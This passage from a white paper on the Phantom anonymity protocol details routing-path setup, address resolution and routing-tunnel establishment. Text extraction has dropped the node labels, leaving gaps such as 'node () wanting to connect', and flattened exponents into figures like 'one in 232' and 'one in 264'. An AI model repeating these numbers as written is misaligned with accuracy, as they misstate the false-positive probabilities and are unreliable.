creation of dummy setup packages (more info about this in the details later).
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
30(68)
These will be used by each node in the routing path to generate dummy packages to be inserted
into the package array before it is passed on to the next node. Theses dummy packages, in turn,
exist in part to prevent the possibility of any node in the routing path being able to determine how
many nodes make up the path in total, and how many nodes that remain beyond it in the path
before the anonymized node is reached, and in part to counteract the special case vulnerability of
the first Y-node in the routing path creation sequence trying to provide an entirely fake routing
path back to the anonymized node (despite not ever being able to know if its preceding node is
really the anonymized node or not, but still “taking a chance”).
5.8.
A constant number of 128-bit seeds for stream encryption key generation + the
number of keys to be generated.
These seeds both guarantee the security of the stream encryption keys used in all tunnels being
created over the routing path, and also guarantee that the anonymized node will be able to
recover these keys for all such tunnels.
5.9.
A collection of flags, telling if the node is an intermediate X-node, a terminating X-
node or a Y-node, among other things.
5.10. A secure cryptographic hash of the entire (encrypted) setup package array (see the
next step), in the expected state upon reception from the previous node.
This hash makes sure that no node can add or manipulate data inside the package array as it is
being sent between the different nodes. If such a thing was possible, it would be an excellent way
for adversarial nodes to communicate with other conspiring nodes throughout the routing path.
5.11. A secure cryptographic hash of the (decrypted) contents of the current setup
package.
This is the hash that makes it possible for each node, once the package array arrives, to find its
own package in the array. The receiving node attempts to decrypt each package in the array, and
tests to see if the decryption succeeded by checking whether this hash matches the decrypted
package contents.
The various contents of this package will be explained in more detail in the steps where they are
individually used. The most important thing to note here is that all these items will be securely
communicated to the individual recipients, in later steps. This step can principally be seen as a
summary of the contents.
6. The anonymized node arranges all the encrypted setup packages from the previous step in
an array, in a completely randomized order, and sends off the array to the node at the
beginning of the sequence, along with the pre-generated ID for this connection (see the
contents of the setup package above).
Secure randomness in the ordering of the packages in the array is important to insure that no
information about the order of the different nodes in the path can be derived from the array, or
even from each individual node’s own position in the array.
7. The following sub-procedure is then performed by the receiving Y-node, and will also be
repeated by each and every node in the ordered sequence, until the array again reaches the
anonymized node:
7.1.
The node iterates through each encrypted package in the array, attempting to first
symmetrically decrypt it using the connection ID stated by the previous node for the
incoming connection, and then asymmetrically decrypt it with its own private key. It
will be able to know when it has found the right one by getting a correct hash (item
5.11 in the setup package specification above).
The initial symmetric decryption of each package is intended to prevent the possible weakness
which would occur if an attacker could share one common asymmetrical key (or a small set of
such keys) between many nodes being injected into the network, and subsequently be able to
detect the presence of any of these other nodes in any routing path where at least one of the
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
31(68)
attacker’s other nodes has also been selected for participation, simply by seeing the initial array
and decrypting multiple packages of it.
7.2.
The node stores the contents of its own successfully decrypted package locally.
7.3.
The node authenticates the previous node (i.e. the one it received the package array
from), by matching both the expected IP address (item 5.1 in the setup package
specification above) against its actual IP address, and the expected ID for the
incoming connection (item 5.4 in the setup package specification above) against the
ID that was actually stated by the previous node along with the setup package array.
Both things should always match under normal circumstances (possible exception
conditions will be discussed later).
In the event that this test fails, it can usually only mean that some node in the routing path has
tried to tamper with the process. In all such situations, the safest thing to do is to just stop and
silently let the incoming connection time out, permitting the anonymized node itself to be able to
respond to this timeout. The recommended and most secure course of action for the anonymized
node, when getting such a routing path creation timeout, is to completely discard the current
routing path, and start the process over with an entirely new set of nodes. As mentioned
previously, any attempt to allow nodes to communicate (e.g. error information) backwards
through the routing path tremendously increases the complexity, and, with it, the possibility for
many different kinds of attacks that would substantially reduce the security of the protocol and its
routing paths.
7.4.
The node matches the hash of the entire setup package array (item 5.10 in the setup
package specification above) against a locally calculated hash of the array, and they
should always be equal under normal circumstances (possible exception conditions
will be discussed later).
This step is important in order to prevent any piggy-backing of information with the array, which
could otherwise be used by nodes controlled by an attacker to convey information to other
conspiring nodes located after it in the setup procedure path (most likely its own IP address, for
the enabling of subsequent arbitrary out-of-channel communication).
7.5.
The node interprets the flags (item 5.9 in the setup package specification above),
thus seeing which role in the path building process it has been allotted.
7.6.
The node makes a decision whether it is possible for it to take part in the path
building process (under normal circumstances the answer should be yes, which will
be assumed in this process summary, possible exception conditions will be
discussed later).
The only legitimate reason for “saying no” would probably be if the node in question is too heavily
loaded already. Otherwise nodes could easily be DoS attacked by opening too many paths
through them. On the other hand, a built-in option in the protocol to “say no” could encourage
“cheat clients”, who don’t share their bandwidth, but still use others’ bandwidth. Then again,
clients that really wanted to cheat could, of course, just disconnect any such requests completely,
so leaving out the option wouldn’t really be an efficient solution either. Either way, the “cheat
client” scenario is something of a dilemma, and should be considered further.
7.7.
The node removes its own setup package from the array.
7.8.
The node generates faked setup packages and inserts them into the array, according
to given instructions (item 5.7 in the setup package specification above).
The reason to have nodes create and insert fake packages into the array, is first that no node
should be able to derive any information about either its relative position in the array, based on
how many packages are left in the array at the time it reaches the node in question, or the total
size of the routing path. Second, it also counteracts the special case vulnerability of the first Y-
node in the routing path creation sequence trying to provide an entirely fake routing path back to
the anonymized node (despite not ever being able to know if its preceding node is really the
anonymized node or not, but still “taking a chance”).
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
32(68)
7.9.
The node connects to the given next node, first of all validating its identity by
matching its expected communication certificate (item 5.6 in the setup package
specification above) against the SSL certificate used by the responding node,
immediately terminating the connection if the two don’t match. They should always
be equal under normal circumstances (possible exception conditions will be
discussed later).
The matching of certificates makes certain that no other computer has acquired the IP address of
the intended node. This could happen for example with home broadband users that share the
same IP address pool through dynamic address allocation (DHCP).
7.10. The array, in its new state, is forwarded to the next node in the sequence (item 5.2 in
the setup package specification above), along with the given ID for this connection
(item 5.5 in the setup package specification above).
7.11. The next node that receives the array will repeat this procedure itself, and so on, until
the array has reached the last (Y-)node in the sequence, which will have its next
node set to be the original anonymized node (without for that matter knowing
anything about this special circumstance itself), thus closing the circle.
8. If all goes well, the setup package array will traverse the entire sequence of nodes, and
reach the anonymized node with a connection from the Y-node at the opposite end of the
sequence, i.e. the end of the sequence that the setup package array was not sent into to
begin with. Provided that the incoming data passes all authenticity controls (which will be
discussed in more detail later), this completes the first round of the routing path setup
procedure, and the anonymized node now knows that all the selected nodes accepted the
routing path participation request and are standing by for the second round of the procedure,
which begins with the next step.
The anonymized node can easily confirm that no additional data has been injected into the array,
and also that no data is missing, based on its total knowledge of what to expect and the
checksums. The simple fact that the array came back, and from the correct IP address at that, is
itself a cryptographic proof that it traversed the intended path, and only the intended path, since
unauthorized access to the full set of information that would be required to fake this could only be
acquired by breaking the strong encryption protecting the setup package array.
9. The anonymized node creates a new array of setup packages, quite similar to the first one,
but with the following additions (in addition to a new random array order):
9.1.
A first round success flag is now included in the package.
9.2.
An updated set of seeds and instructions for manipulating the package array before
forwarding it (equivalent to item 5.7 in the setup package specification above).
•
For (all) X-nodes only:
9.3.
An updated IP address of the expected new previous node in the sequence
(equivalent to item 5.1 in the setup package specification above).
9.4.
An updated IP address/port for the next node in the sequence (equivalent to item 5.2
in the setup package specification above).
9.5.
A random 128-bit ID, associated with the connection from the new previous node
(equivalent to item 5.4 in the setup package specification above).
9.6.
A random 128-bit ID, associated with the connection to the new next node
(equivalent to item 5.5 in the setup package specification above).
•
For the terminating X-node only, if the path is an entry path:
9.7.
The AP address that the entry path belongs to.
9.8.
A ready-made routing table entry, signed with the private key belonging to the routing
certificate of the AP address owner (more info about this in the details later).
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
33(68)
The various contents of this package will be explained in each individual step where they are
used. The important thing to note at this point is that all these items will be securely
communicated to the individual recipients, in later steps. This step can principally be seen as a
summary of the contents.
10. The anonymized node sends away the new array of setup packages in the same manner as
the first one (and in the same direction too).
11. The following sub-procedure is then performed by each and every node in the ordered
sequence, until the array again reaches the anonymized node:
11.1. The node locates, decrypts and verifies its own package in the received array, and
checks the integrity of the entire array, using the same methods as in the first round.
11.2. The node now also validates the signature of the package, using the routing path
construction certificate received in the package from the first round (item 5.3 in the
setup package specification above).
11.3. The node confirms that the success flag is set in the package (item 9.1 in the setup
package specification above).
11.4. The node modifies the package array in the same way it did in step 7.7 + 7.8 above,
only now using the updated seeds and instructions (item 9.2 in the setup package
specification above).
•
For Y-nodes only:
11.5. The Y-node forwards the array, in its new state, to the next node in the sequence.
11.6. The Y-node disconnects its forward connection, and has thus fully completed its
participation in the routing path building operation, and discards all information
related to it, forgets all about it, and is back in the exact state it was before it was
contacted to participate in the routing path building operation to begin with.
•
For (all) X-nodes only:
11.7. The X-node checks to see if the updated expected IP address of the previous node
(item 9.3 in the setup package specification above) is the same as the IP address of
the existing previous node. Under normal circumstances it should never be the same,
and in this case the X-node will halt and wait for an incoming connection from the
expected IP address (item 9.3 in the setup package specification above) also having
the right ID (item 9.5 in the setup package specification above).
11.8. When a matching incoming connection is established to the X-node (i.e. from the X-
node before it), all the usual array transfer, verification and modification procedures
are performed.
11.9. The X-node forwards the array, in its new state, to the next node in the sequence,
still being connected from the first round.
11.10. The X-node then checks to see if the updated expected IP address and port number
of the next node (item 9.4 in the setup package specification above) is the same as
the IP address and port of the currently connected next node. Under normal
circumstances it should never be the same, and in this case the X-node will
disconnect its current forward connection, and attempt to create a new forward
connection to the updated IP address and port for the stated next node (item 9.4 in
the setup package specification above) also using the updated ID (item 9.6 in the
setup package specification above) for this connection. Several connection attempts
might be needed at this point, since the target X-node might not have started
listening for this incoming connection yet.
11.11. The X-node forwards the array, in its new state, to this new next node in the
sequence too.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
34(68)
11.12. The intermediate Y-node between the two adjacent X-nodes has now been fully
disconnected, and the final state of the routing path has been established between
the current X-node and the one before it in the sequence.
11.13. The X-node now finishes the procedure by generating its unique set of stream
encryption keys, according to the seeds and parameters given in the initial setup
package (item 5.8 in the setup package specification above). This set of keys will be
used at a later time, when establishing routing tunnels over the routing path.
•
For the terminating X-node only, if the path is an entry path:
11.14. The terminating X-node expects the previous (Y-)node to disconnect the connection
immediately after having received the package array from it. If the expected IP
address (item 9.3 in the setup package specification above) and the updated ID (item
9.5 in the setup package specification above) are empty (all zero), the terminating X-
node also doesn’t expect any new incoming connection from a previous node, since
it is located at the end of the routing path, and in this case only has the multiple Y-
nodes in front of it (this will only happen in half the cases, i.e. where the randomly
chosen beginning of the node sequence is the one with the multiple Y-nodes).
11.15. If the created routing path is an entry path, after having done everything else that a
normal intermediate X-node is supposed to do, the terminating X-node proceeds to
submit the new pre-signed routing table entry (item 9.8 in the setup package
specification above) for the current routing path to the AP address-indexed routing
table in the global network database, for the associated AP address (item 9.7 in the
setup package specification above). The entry path is now officially announced, and
any user on the anonymous network can look it up in the global network database,
and use it to establish an anonymized connection (i.e. anonymized for the node that
created the routing path) to the anonymized node.
The global network database will only allow updates of pre-existing routing table entries if the
update is signed with the same key as the pre-existing entry, i.e. the AP address specific routing
key of the anonymized node that registered the AP address to begin with. This prevents DoS-
attacks in the form of injection of bad routing information from third-party sources into the global
network database.
11.16. If the created routing path is not an entry path, it will skip the previous step (11.15),
and will instead be waiting for requests for outgoing connections from the
anonymized node that owns the routing path (thus being located at its other end).
This will be discussed further in the section about establishment of routing tunnels
below.
12. If all goes well, the second setup package array will traverse the entire sequence of nodes,
just like the first one, and reach the anonymized node with a connection from the Y-node
(and subsequently its preceding X-node) at the end of the sequence, where it will be
checked for validity. This completes the second half of the routing path setup procedure, and
the routing path is now successfully and securely set up, ready for immediate use.
This concludes the low-level details for the secure establishment of routing paths.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
35(68)
7.2. Routing Tunnels
As mentioned previously, the establishment of routing tunnels over pre-existing routing paths is a
key process of the protocol, and an important part in providing its anonymity. As can be
suspected, the exact procedure for setting up such routing tunnels in a secure way is of utmost
importance for keeping the system theoretically secure. In this section, this procedure will be
described in more detail. We will begin with an explanation of the process used for resolving AP
addresses, which is the basis for creating and connecting routing tunnels to begin with. We will
then move on to a shorter step-by-step description of the tunnel setup procedure, after which we
will finally describe and explain each of the steps, and their underlying purposes and reasons,
more thoroughly.
7.2.1.
AP Address Resolution
Whenever a node in the anonymous network wants to contact another node in the anonymous
network, this is accomplished through the use of AP addresses, as explained previously. All
nodes that accept incoming connections on the AP address level (which many nodes may indeed
not do at all) have an AP address registered to them in the network database.
The previous description of how routing tunnels are created and established explains how AP
addresses for nodes are registered in the global network database. This section will fill in the few
remaining details regarding how these AP addresses are used to get in touch with the node that
originally registered them, or to be more precise, the node that owns the routing paths for which
the AP address is registered.
This explanation will not, however, deal with the related lower-level database implementation
issues, but rather focus only on the process up to the point of the database abstraction layer.
Lower-level database implementation details will instead rather be dealt with in the “Network
Database” section below.
So, these limitations having been defined, how then does the AP address resolution work? It is
actually extremely simple. Let’s start by taking a look at a figure representing a typical situation in
the anonymous network, an anonymized node () wanting to connect to a non-anonymized node
(). As shown previously, it will look as follows:
Figure 14. Anonymized node () wanting to connect to a non-anonymized node ()
As can be seen in the figure, node has its own routing path, in this case an exit path, which it
wants to use to contact the node anonymously. The details of setting up the entire connection
(i.e. the routing tunnel) over the routing path will be discussed in the following section, but the
= End-point node
= Intermediary routing path node
= Terminating routing path node (exit node)
= Non-involved network node
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
36(68)
important consideration in this case is that it will be the responsibility of the terminating node of
the exit path (i.e. the exit node) to resolve the AP address of (after having had this AP address
securely communicated to it through the tunnel from as part of the routing tunnel setup
process), and then establish a connection to .
Once the target AP address of the desired outbound connection has been securely
communicated from to the exit node of its routing path (a process which, as mentioned above,
will be explained in the following section, regarding secure establishment of routing tunnels), all
that needs to be done by the exit node is to query the global network database about the IP
address of a current entry node for the requested AP address. In the situation at hand, where the
node has no interest in being anonymized, it acts as its own entry node, and thus, the IP
address of is registered for the AP address of in the network database. This IP address is
returned from the database, to the inquiring exit node in the routing path of , which in turn
connects to this IP address and requests a connection to be opened (actually, still without being
able to directly tell if the IP address belongs to or to the entry node of one of its entry routing
paths). Very straight forward in the end, right?
Just to avoid any uncertainties, we will also include examples for the other typical situations of AP
address resolution in the anonymous network, starting out with the inverse situation of the one
above, i.e. a non-anonymized node () wanting to connect to an anonymized node ():
Figure 15. Non-anonymized node () wanting to connect to an anonymized node ()
As can be seen in the figure, node is operating on its own, thus not being anonymized, while
node has its own routing path, in this case an entry path, which it uses to receive connections
from other nodes (in this case ) anonymously. In this situation, acts as its own exit node, and
thus has the responsibility to resolve the AP address of and then establish a connection to (any
valid entry node of) .
So, again, all that needs to do is to query the global network database for the IP address of a
current valid entry node for the target AP address (i.e. the AP address of in this example). Once
the network database returns such an IP address as a result of this inquiry, connects to this IP
address (in this case the entry node of the routing path belonging to ), and requests a
connection to be opened (likewise here, without being able to directly tell if the IP address
belongs to itself or to the entry node of one of its entry routing paths). It is then the responsibility
of the contacted entry node to forward this request and establish a routing tunnel inside the
routing path leading to (a process which, as mentioned above, will be explained in the section
below, regarding secure establishment of routing tunnels).
= End-point node
= Intermediary routing path node
= Terminating routing path node (entry node)
= Non-involved network node
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
37(68)
Starting to get a grip on the resolution and connection process now? Let’s just include one final
example of the third and last typical connection situation, i.e. an anonymized node () wanting to
connect to another anonymized node ():
Figure 16. Anonymized node () wanting to connect to another anonymized node ()
As can be seen in the figure, node has its own routing path, in this case an exit path, which it
wants to use to contact the node anonymously. Node also has its own routing path, in this
case an entry path, which it uses to receive connections from other nodes (in this case )
anonymously. Just as in the previous examples, it will be the responsibility of the terminating
node of the exit path (i.e. the exit node) of to resolve the AP address of , and then establish a
connection to (any valid entry node of) .
Once the target AP address of the desired outbound connection has been securely
communicated from to the exit node of its routing path, all that remains to be done by the exit
node is to query the global network database about the IP address of a current entry node for the
requested AP address. Once gets hold of such an IP address from the network database, it
connects to this IP address (in this case the entry node of the routing path belonging to ), and
requests a connection to be opened (likewise here, without being able to directly tell if the IP
address belongs to itself or to the entry node of one of its entry routing paths). It is then the
responsibility of the contacted entry node to forward this request and establish a routing tunnel
inside the routing path leading to .
This concludes the explanation of how AP addresses are resolved and used to get in touch with
any node of choice within the anonymous network, and we will now move on to describing the full
process used for establishing routing tunnels (i.e. new connections) over existing routing paths.
= End-point node
= Intermediary routing path node
= Terminating routing path node (entry/exit node)
= Non-involved network node
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
38(68)
7.2.2.
Secure Establishment of Routing Tunnels – Low-Level Overview
Now that we know all about how routing paths are created by all nodes that want to be
anonymous, and also on a higher level how such routing paths and their respective anonymized
nodes find and connect to each other by means of their AP addresses, it is time to describe the
last crucial step involved in the process of creating anonymized end-to-end connections between
two nodes in the anonymized network, namely, the establishment of routing tunnels.
As previously described, a routing tunnel is the logical representation of a specific connection
going over a specific routing path. It should be thoroughly understood that a routing tunnel does
not reach from one anonymized node to another. Rather, it only exists within the bounds of a
single routing path, being fully owned and managed by only one anonymized node, i.e. the one
that owns the routing path that hosts the tunnel. A full connection between two anonymized
nodes in the anonymized network is made up of two such routing tunnels, being connected with a
single link between the respective terminating nodes of the tunnels (i.e. one exit node and one
entry node).
In this section we will present a shorter step-by-step description of the process of securely setting
up a routing tunnel over a pre-existing routing path. In the next section we will then be moving on
to describing and explaining each of the steps, and their underlying purposes and reasons, more
thoroughly.
Depending on whether the tunnel is an inbound tunnel (i.e. initiated by the entry node of a routing
path, in response to an incoming connection from a third-party) or an outbound tunnel (i.e.
initiated by the anonymized node that owns the routing path, as a result of this node wanting to
create a connection to another AP address in the anonymous network), the process will be
internally different. Seen from the outside, or even from the viewpoint of all intermediary nodes in
the affected routing path, however, the process is seemingly identical and symmetrical, which is
an important property further aiding the anonymity and zero-knowledge of the system, as will be
further described below.
Outbound Routing Tunnel Setup Procedure
That being said, here follows the procedure for securely setting up an outbound routing tunnel
over a pre-existing routing path, followed by the procedure to set up its inbound counterpart.
1. The anonymized node owning the outbound routing path (i.e. exit path) wants to establish a
connection to another node in the anonymous network.
2. The anonymized node generates a dummy random data package, having the size of a single
symmetric crypto block (i.e. 128 bits or more), and sends this package off through the pre-
existing connection to the next intermediate node in the routing path.
3. Each subsequent node in the routing path then performs the following sub-procedure:
3.1.
The node randomly selects one of the stream encryption keys from its local set of
such, generated previously in step 11.13 of the routing path creation process.
3.2.
The node encrypts the dummy package (at this point already previously encrypted by
all preceding nodes in the routing path), as a single block, with the chosen key.
3.3.
The node saves the encrypted dummy package in a time limited cache (containing all
such recently forwarded dummy packages), together with the encryption key that was
chosen for the package, and then sends off the encrypted dummy package to the
next intermediate node in the routing path (i.e. its adjacent X-node if using the same
nomenclature as during the creation procedure for routing paths) over the already
established connection remaining since the routing path setup process.
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
39(68)
Figure 17. Outbound routing tunnel creation, step 3
4. The exit node receives the dummy package after it has traversed the entire routing path, at
this point having been encrypted once by each of its intermediate nodes, with randomly
selected keys from each of their individual sets of stream encryption keys.
5. The exit node prepares a special tunnel initialization package, having the size of a single
symmetric crypto block (i.e. 128 bits or more), containing the following (just as with all other
steps, this will be explained in much more detail in the next section):
5.1.
A crypto key initialization block, constructed in such a way that the risk of falsely
diagnosing it as a positive in a certain kind of test will be one in 232, or less.
5.2.
A checksum of the contents of the package.
6. The exit node encrypts the tunnel initialization package, as a single block, with the previously
chosen stream encryption key.
7. The exit node establishes a completely new connection to the previous node in the routing
path, i.e. to the same IP address and port used during the original routing path setup
procedure, authenticated with the original connection ID used between the nodes in the
original routing path setup procedure. A copy of the originally received dummy package is
then sent over this connection, immediately followed by the new and encrypted tunnel
initialization package.
8. The receiving X-node performs the following sub-procedure, which is then repeated by all
subsequent nodes in the routing path:
8.1.
The node authenticates the incoming connection by its IP address combined with the
given connection ID.
8.2.
The node matches the connection to the corresponding previously forwarded dummy
package (and thus also to the right encryption key which was chosen during that
forwarding procedure, described in step 3 above), by matching the first data block
that arrives over the connection against the time limited cache of all such previously
forwarded dummy packages. The matching entry is then removed from the cache
after the encryption key for the new connection has been stored separately.
8.3.
The node decrypts both the first received data block (i.e. the copy of the originally
forwarded dummy package) and the second one (i.e. the new tunnel initialization
package), using the encryption key derived in the previous step.
8.4.
The node establishes a new connection to the previous node in the routing path, i.e.
to the same IP address and port used during the original routing path setup
procedure, authenticating it in both directions by means of the original connection ID
used between the nodes in the original routing path setup procedure, and the
previously stored (during the routing path setup procedure) “server-side” SSL
certificate for this previous node.
8.5.
The node sends the two decrypted data blocks (i.e. the copy of the originally
forwarded dummy package and the new tunnel initialization package) over the newly
established and authenticated connection, in the same order that they were received.
= Anonymized node
= Intermediary routing path node
= Terminating routing path node (exit node)
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
40(68)
Figure 18. Outbound routing tunnel creation, step 8
9. The anonymized node finally receives the tunnel initialization package, after it has traversed
the entire routing path, at this point “decrypted” (in the present circumstances effectively
working rather as an encryption, but the terms are important here) once by each of its
intermediate nodes, with randomly selected keys from each of their individual sets of keys,
which are known by the anonymized node (since it created the seeds and parameters for
generating these keys, and can thus duplicate this process locally). At this point, the
separate connection for the routing tunnel has also been successfully established throughout
the entire routing path.
10. The anonymized node calculates which exact key out of its known set of keys that each
individual node in the routing path has selected for this particular tunnel, i.e. the key that was
used by each of them to decrypt the tunnel initialization package. This is done by brute
forcing over all keys in all the known sets of keys for each individual node in the routing path.
The number of keys in the set of each node can be arranged in a way that this entire
operation takes no more than e.g. 0.1 – 0.5 seconds (or any other chosen length of time),
during which still a considerable amount of e.g. AES blocks can be processed in memory.
The test being performed on the resulting plaintext block to know if a certain brute force
attempt was successful is related to the crypto key initialization block, mentioned in step 5.1
above (just as with all other steps, this will be explained in much more detail in the next
section).
11. When all the chosen keys of each individual node in the entire routing path have been
recovered, a final validation of the checksum in the recovered package is performed,
reducing the risk of false positives to one in 264 or less. It should always match under normal
circumstances (possible exception conditions will be discussed later).
12. The anonymized node prepares a special tunnel initialization reply package, of the same
size as the original tunnel initialization package, containing the following (just as with all
other steps, this will be explained in much more detail in the next section):
12.1. The desired AP address and port to create an outbound connection to.
12.2. A secure checksum.
13. The anonymized node encrypts the tunnel initialization reply package with all the individual
recovered keys of the routing path nodes, in the appropriate sequence, in such a way that it
will be decrypted correctly once it reaches the exit node, and sends it back through the newly
created separate connection for the tunnel.
14. The receiving X-node performs the following sub-procedure, which is then repeated by all
subsequent nodes in the routing path:
14.1. The node decrypts the (at this point already previously decrypted by all preceding
nodes in the routing path) tunnel initialization reply package, with the previously
chosen key for the connection, as a single block.
= Anonymized node
= Intermediary routing path node
= Terminating routing path node (exit node)
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
41(68)
14.2. The node sends off the decrypted dummy package to the next intermediate node in
the routing path, over the newly created separate connection for the tunnel.
15. The exit node finally receives the tunnel initialization reply package, after it has traversed the
entire routing path, at this point being decrypted into the plaintext state in which it was
created by the anonymized node at the other end of the routing path. It verifies the
checksum, and then immediately attempts to create an outgoing connection to the stated AP
address and port.
Figure 19. Outbound routing tunnel creation, step 15
16. If the external connection attempt does not succeed, the exit node simply closes down the
newly created connection for the tunnel, which will cause a chain reaction closing down all
the parts of the connection, all the way back to the anonymized node, which at this point will
know that the connection attempt failed. If the external connection attempt does succeed, the
exit node sends a dummy data package, having the same size as the tunnel initialization
package and containing only random data, back through the newly established connection.
Similar to the tunnel initialization package, it will be encrypted by each node with the
established key for the connection, and eventually reach the anonymized node, which will
then know that the connection has succeeded, and be able to start using it immediately. At
this point, the routing tunnel creation is complete and the application layer on each side of
the connection is notified of this, and can thus start communicating arbitrary data over the
connection, equivalent to a TCP connection.
Figure 20. Outbound routing tunnel creation, completed
= Anonymized node
= Intermediary routing path node
= Terminating routing path node (exit node)
= Anonymized node
= Intermediary routing path node
= Terminating routing path node (exit node)
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
42(68)
Inbound Routing Tunnel Setup Procedure
Having just described the procedure for securely setting up an outbound routing tunnel, here
follows the procedure for securely setting up an inbound routing tunnel over a pre-existing routing
path:
1. The entry node of the inbound routing path (i.e. entry path) receives a connection
establishment request from another node in the anonymous network.
Figure 21. Inbound routing tunnel creation, step 1
2. The entry node prepares a special tunnel initialization package, having the same size as the
initial dummy package in the outbound routing tunnel creation procedure described above,
i.e. the size of a single symmetric crypto block (128 bits or more), containing the following
(just as with all other steps, this will be explained in much more detail in the next section):
2.1.
A crypto key initialization block, constructed in a way that the risk of falsely
diagnosing it as a positive in a certain kind of test will be one in 232, or less.
2.2.
The IP address of the connecting node (Note: remember that this is only the IP
address of the node that directly connects to the entry node, i.e. if the node that
initiated this connection is anonymized by means of an exit path, this will only be the
IP address of the exit node of this exit path, thus not revealing any sensitive
information regarding the identity of the remote anonymized node).
2.3.
The AP address of the anonymized node to which the connecting node intends to
create a connection.
3. The entry node performs the following sub-procedure, which is then repeated by all
subsequent nodes in the routing path:
3.1.
The node randomly selects one of the stream encryption keys from its local set of
such keys, which it generated previously in step 11.13 of the routing path creation
process.
3.2.
The node encrypts the tunnel initialization package (at this point already previously
encrypted by all preceding nodes in the routing path, except of course for the entry
node, which doesn’t have any preceding nodes and was the one to prepare the
package to begin with), as a single block, with the chosen key.
3.3.
The node saves the encrypted tunnel initialization package in a time limited cache
(containing all such recently forwarded tunnel initialization packages), together with
the encryption key that was chosen for the package, and then sends off the
encrypted tunnel initialization package to the next intermediate node in the routing
path (i.e. its adjacent X-node, if using the same nomenclature as during the creation
procedure for routing paths) over the already established connection remaining since
the routing path setup process.
= Anonymized node
= Intermediary routing path node
= Terminating routing path node (entry node)
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
43(68)
Figure 22. Inbound routing tunnel creation, step 3
4. The anonymized node that owns the routing path receives the tunnel initialization package
after it has traversed the entire routing path, at this point being encrypted once by each of its
intermediate nodes, with randomly selected keys from each of their individual sets of stream
encryption keys, which are known by the anonymized node (since it created the seeds and
parameters for generating these keys, and can thus duplicate this process locally).
5. The anonymized node calculates which exact key out of its known set of keys that each
individual node in the routing path has selected for this particular tunnel, i.e. the key that was
used by each of them to encrypt the tunnel initialization package. This is done by brute
forcing over all keys in all the known sets of keys for each individual node in the routing path.
The number of keys in the set of each node can be arranged in a way that this entire
operation takes no more than e.g. 0.1 – 0.5 seconds (or any other chosen length of time),
during which, nevertheless, a considerable amount of e.g. AES blocks can be processed in
memory. The test that is performed on the resulting plaintext block to know if a certain brute
force attempt was successful is related to the crypto key initialization block, mentioned in
step 2.1 above (just as with all other steps, this will be explained in much more detail in the
next section).
6. When all the chosen keys of each individual node in the entire routing path have been
recovered, a final validation of the target AP address of the connection is performed, to
confirm that it was indeed intended for the actual AP address that the anonymized node has
registered. In addition, this can be seen as an extension to the brute force key recovery
procedure in the previous step, which reduces the risk of false positives to one in 264. Under
normal circumstances, the AP address should always match (possible exception conditions
will be discussed later).
7. The anonymized node prepares a special tunnel initialization reply package, of the same
size as the original tunnel initialization package, containing the following (just as with all
other steps, this will be explained in much more detail in the next section):
7.1.
A flag block, containing multiple flags for communication of exceptional
circumstances from the anonymized node to the entry node.
7.2.
A secure checksum.
8. The anonymized node encrypts the tunnel initialization reply package with all the individual
keys of the routing path nodes, in the appropriate sequence, in such a way that it will be
decrypted correctly once it reaches the entry node.
9. The anonymized node establishes a completely new connection to the previous node in the
routing path, i.e. to the same IP address and port used during the original routing path setup
procedure, authenticated with the original connection ID used between the nodes in the
original routing path setup procedure. A copy of the originally received tunnel initialization
package is then sent over this connection, immediately followed by the new and repeatedly
encrypted tunnel initialization reply package.
= Anonymized node
= Intermediary routing path node
= Terminating routing path node (entry node)
White Paper:
Generic, Decentralized, Unstoppable Anonymity: The Phantom Protocol
Author:
Magnus Bråding
Version: 0.7
2008-08-04
44(68)
10. The receiving X-node performs the following sub-procedure, which is then repeated by all
subsequent nodes in the routing path:
10.1. The node authenticates the incoming connection by its IP address combined with the
given connection ID.
10.2. The node matches the connection to the corresponding previously forwarded tunnel
initialization package (and thus also the correct encryption key which was chosen
during that forwarding procedure, described in step 3 above), by matching the first
data block that arrives over the connection against the time limited cache of all such
previously forwarded tunnel initialization packages. The matching entry is then
removed from the cache after the encryption key for the new connection has been
stored separately.
10.3. The node decrypts both the first received data block (i.e. the copy of the originally
forwarded tunnel initialization package) and the second one (i.e. the new tunnel
initialization reply package), using the encryption key derived in the previous step.
10.4. The node establishes a new connection to the previous node in the routing path, i.e.
to the same IP address and port used during the original routing path setup
procedure, and authenticates it in both directions by means of the original connection
ID used between the nodes in the original routing path setup procedure, and the
previously stored (during the routing path setup procedure) “server-side” SSL
certificate for this previous node.
10.5. The node sends the two decrypted data blocks (i.e. the copy of the originally
forwarded tunnel initialization package, and the new tunnel initialization reply
package) over the newly established and authenticated connection, in the same
order that they were received.
Figure 23. Inbound routing tunnel creation, step 10
11. The entry node finally receives the tunnel initialization reply package, after it has traversed
the entire routing path, at this point being decrypted into the plaintext state in which it was
created by the anonymized node in the other end of the routing path. The flags of the
package can now be interpreted by the entry node, and under normal circumstances
everything should be ok, and the routing tunnel has now been successfully established
